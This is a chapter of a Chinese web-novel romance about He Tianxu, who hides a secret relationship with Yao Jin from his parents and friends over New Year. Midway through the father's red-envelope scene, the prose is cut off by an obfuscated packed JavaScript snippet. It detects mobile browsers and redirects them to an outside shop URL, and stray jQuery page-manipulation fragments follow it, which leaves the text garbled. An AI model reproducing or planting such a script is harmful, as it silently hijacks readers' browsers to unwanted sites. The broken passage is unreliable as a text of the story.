见姚今同意了。他立刻从绕到后排座位,拿出个小推车。


    顶着姚今震惊的目光,贺天叙立刻快速地把后备箱里的东西往小推车上码得整整齐齐。几分钟后,贺天叙推着小车,跟在两手空空的姚今身后踏进单元楼,进入电梯。


    到了家门口,贺天叙把小推车放在姚今手边。


    他忍不住最后抱了姚今一下,几秒后飞快松手,退开几步。贺天叙挥挥手,笑着同对方告别。


    姚今没想着这么快就让贺天叙见家长。她本想等她和贺天叙感情更稳定一点再做计划。


    此刻,凝视眉眼弯弯的贺天叙,姚今心尖一软,还是凑上去轻轻吻了对方一下。


    见电梯快到了,姚今的目光落在小推车上:“这个推车……”


    贺天叙当即进入电梯,朝姚今应声:“下次见面的时候,你再还给我吧!”


    一个小推车而已,其实贺天叙根本不放在心上。但是过年期间姚今肯定很忙,能有这么个小东西稍稍提醒一下对方来搭理他,那就再好不过了。


    贺天叙想得很美,觉得自己用不了多久就能跟姚今再见面。


    眼见电梯显示屏的数字跳转,显示数字一,姚今这才收回目光。她翻了翻口袋,发现出来太急,忘记带钥匙了。


    按响门铃,没多久,姚丰义就开了门。


    一开门,他就见女儿身边的小推车上那堆成小山似的东西。


    不是去拍烟花的照片吗?


    这是去哪进货回来了?


    对上父亲惊讶的目光,姚今尴尬地挠了挠头。她只好含糊其辞:“呃……刚刚在楼下,遇到了个朋友……”


    姚丰义帮姚今把东西搬进家,没仔细追问。女儿想说自然会说,现在不想说,他也没必要刨根问底探个究竟。


    他没关注那堆东西,只张罗着让姚今坐到餐桌边:“外面是不是风很大,冻坏了吧?我热了夜宵,快吃点暖暖身子。”


    闻言,姚今乖乖坐在餐桌边,惊喜地朝厨房张望:“哇!难怪我刚刚一进家门就闻到好香的味道!”


    *


    凌晨一点半,贺天叙重新踏入家门。


    他刚走上二楼台阶,却见母亲的房门打开了。


    程悦梅本想下楼倒杯水,结果正好撞见不知道什么时候偷偷溜出去的儿子归家。


    贺天叙先发制人:“妈,过年好!”


    程悦梅脸上敷着面膜:“你跑哪去了?怎么现在才回来?”


    “我……”贺天叙卡了壳。


    大脑飞快运转,贺天叙突然灵机一动:“听说岚江附近有烟花秀,我好奇,去看了会。”


    他点点头,绷着表情,勉力装出一副正常的样子。


    程悦梅眯了眯眼。


    她带过那么多届学生,也算得上是阅人无数,识人辨人还是很有一套的。任何撒谎的人都逃不过她的火眼金睛。更何况眼前这位还是她的亲儿子。程悦梅自然一下子看穿了。


    程悦梅摇摇头:“不对。你不对劲。”


    她下了论断后,开始思考。


    几秒钟后,程悦梅试探地问:“有喜欢的人了?”


    见贺天叙脸色微变,她心中一喜,乘胜追击:“已经在一起了,女朋友?”


    是在一起了。


    但他现在还没名分呢……


    这大过年的,贺天叙也不好告诉自己的妈,他在外面给人当三


    ——还当得甘之如饴,时时刻刻想着上位。


    贺天叙抿着唇,只好点点头。


    程悦梅脸上立刻绽放笑容,面膜都皱起来,快要贴不住了。


    贺天叙更心虚了。


    他做贼似的望了望周围,没发现贺平武的身影,赶紧叮嘱母亲道:“这事能不能先别宣扬?尤其是别让我爸知道!”


    这些年贺平武一直催婚他。这要是让贺平武知道了,铁定让贺天叙赶紧挑个时间把人带回家见见。


    程悦梅不想给儿子那么多压力。她一拍胸脯,当即表示:“放心放心。老贺那个大嘴巴,什么事都给他抖落出去了。”


    “你也得保密,别和你那些同事、学生聊起来,更别和你那些小姐妹说。”贺天叙想了想,继续嘱咐,“还有那个杨姨,连她也不能说!”


    杨姨就是江山江川的母亲杨琳。程悦梅和她关系最好。两人一见面聊起天来,像是有几辈子的话说不完。


    叮嘱完一大堆,但贺天叙还是不能真正放心。


    因为贺天叙知道,程悦梅也是个喜欢八卦的。而且程悦梅还是当老师的,嘴皮子特利索,思维还很发散,指不定哪天一不小心就说出去了。


    这要是落在他爸耳朵里,那就是这门婚事都八九不离十了。贺平武再一跟几个老友、生意伙伴喝酒喝多了吹牛吹出去,别人都要觉得婚期将近了。再一传十、十传百的,等别人恭喜到贺天叙面前,贺天叙指不定都要从别人嘴里听说他已经有孩子了。


    贺天叙有些发愁。


    上位这种事还得徐徐图之,能成功自然最好。要是失败,姚今又腻了,想和他结束这段不正常的关系,他可怎么办?


    到时候家人问起来,贺天叙也只能说是分手,但这必然会被追问到底。他也只能顶着压力当个锯嘴葫芦。


    被追问个没完没了,贺天叙倒是很在意。他最在意、最接受不了的是和姚今一拍两散,给她现男友让位。


    这种可能性实在是太大,让贺天叙根本没法忽视。尽管两小时前,他明明才和姚今拥抱、接吻,情意绵绵地告别,约定日后见面。


    一遇到姚今的事,贺天叙完全没有安全感。


    只要一想到姚今会像对他一样对那个现男友,也和对方拥抱接吻,贺天叙嫉妒得简直难以自持。酸苦的汁液沥沥淌出,浸满整颗心,让他根本克制不住自己的占有欲,也压抑不了心里的阴暗念头。


    如果姚今眼里只看得见他、心里只想着他念着他……


    贺天叙久违地失眠了。他带着忧虑和哀怨熬过大半夜,凌晨五点才浅眠片刻。


    没睡几个小时,他就被贺平武闹醒了。


    这老年人就是觉少,一把年纪了还这么能折腾。清晨六点看早间新闻,电视机的声音响彻整个别墅。


    为什么能吵到已经关了房门的贺天叙?


    因为贺平武上楼,把红包塞在贺天叙枕头下离开时,特地把房门留了条缝。


    一个小时的新闻看完,贺平武外出晨跑,家里终于安静。


    半个小时后,等贺平武回家,发现贺天叙还没醒。他闲了片刻坐不住,捧着手机看财报,就在二楼贺天叙房间门口走来走去、走来走去。


    十分钟后,贺天叙顶着头凌乱的头发拉开房门,有气无力道:“爸……你跟个扫地机器人似的,干嘛呢?”


    贺平武斜了眼:“哼——大忙人终于起床了!”


    贺天叙懒得回嘴。他爸这德行,这么多年,他早习惯了。


    平时父子俩见不了几面,又因为贺天叙早年高考志愿、近年事业的原因,他们一直多有龃龉。但贺平武这个当父亲的向来不低头,却又偏偏喜欢在儿子面前找存在感。


    贺天叙出乎贺平武意料地来了句:“爸,过年好!”


    他又来了句:“我都这么大了,还有红包收啊?”


    从小到大,哪怕贺天叙成年了,依然每年过年都能收到来自父母给的红包。贺平武年年都是按八千八百八十八包的红包,还往红包里塞了张


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056774|188852||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以贺天叙生日作为密码的银行卡。


    但贺平武每次给的时候都趁贺天叙睡觉,也不提醒对方自己给了红包。


    听见儿子的话,贺平武一下子不知道怎么接话了。他哼哼两声,赶紧负手离开。


    *


    等吃完早餐,贺天叙路过客厅,发现程悦梅在和姚今视频。


    “小今越来越漂亮了!”程悦梅把姚今一通夸,又关心了几句对方的工作和身体状况。


    她忽然注意到姚今脖颈间的项链,“新项链吗?很好看啊非常衬你!”


    贺天叙一直在附近假装溜达,实则竖着耳朵偷听。听到程悦梅这句话,他忍不住走近一点。


    他今天戴了眼镜,视线范围内的一切事物都非常清晰。贺天叙一眼认出姚今戴的是他昨晚送出去的项链,当即唇角扬起弧度。


    程悦梅看着入镜了的贺天叙,尴尬地对姚今解释:“这我儿子,贺天叙。你们之前见过,还有印象吗?”


    她头也不回,奇怪道:“贺天叙你在这晃来晃去,傻乐个什么劲呢!”


    贺天叙眼睁睁看着程悦梅手机里的姚今噗嗤一笑。


    他觉得程悦梅这话实在是有损他的形象,无奈地开口:“妈……你说什么呢!”


    扔下这句话后,他鼓着脸跑到客厅角落里抱着仓鼠玩偶暗暗郁闷。


    程悦梅再和姚今聊了几分钟后,挂断视频通话。


    看一眼贺天叙,她好奇道:“诶你这玩偶哪买的,还挺可爱!有点眼熟啊!”


    贺天叙瞬间揪紧了手中的玩偶,心中警铃大作。


    之前姚今也给程悦梅送过一个亲手制作的玩偶。当时贺天叙还暗自羡慕了好久。


    他飞快思考,最后应声:“忘了……好久之前买的……呃,市面上的仓鼠都长这个样吧?”


    好在程悦梅没多在意。因为很快江国纲和杨琳夫妇就带着江山江川来拜年了。


    贺天叙瞬间松了口气,赶紧把仓鼠玩偶藏回自己床上。


    贺平武和程悦梅一见到老友,高兴得不得了。几个人在客厅里乐呵呵聊得正欢。


    尤其贺平武,听江川聊起集团那些事来,对江川真是越看越满意,对江国纲真是越看越艳羡。


    虽说江国纲的儿子江山也不着调,不想着继承家业,还成天和贺天叙胡闹,但江国纲这个女儿真是才华出众、能力过人,让贺平武真是羡慕了好多年。


    在客厅陪着长辈聊了会,江山江川跟着贺天叙去到他房间里。


    一关上门,江川和江山就齐刷刷从包里拿出东西递到贺天叙眼前。


    江山开口:“这是给姚今的礼物。有空约出来一起吃个饭。”


    江川解释道:“本来这应该是我们自己亲手送出去,但年后我一般都比较忙,不一定有空。”


    “我姐提前给了,那我也得跟着一起啊,不然也说不过去。”江山看了眼江川。


    江川点点头,继续道:“总之,恭喜你得偿所愿。”她想了想贺天叙现在在姚今那的名分,补充了句,“作为朋友,希望你上位成功。”


    贺天叙对江川这份祝愿接受良好。


    他矜持地微微一笑:“那我就替小今谢过你们了。”


    江山感到一阵恶寒,搓了搓手臂,忍不住吐槽:“终于有资格说这话,可把你得意坏了吧!”


    贺天叙扬扬下巴,已经不屑与江山争辩。


    他警告江山:“你没把我的事到处乱说吧?现在就我们三个人知道?”


    江山登时怒了:“这是什么话!我是那种到处胡说八道的人吗?!”


    贺天叙:“……”


    江川:“……”


    江山更气了:“都不说话?!”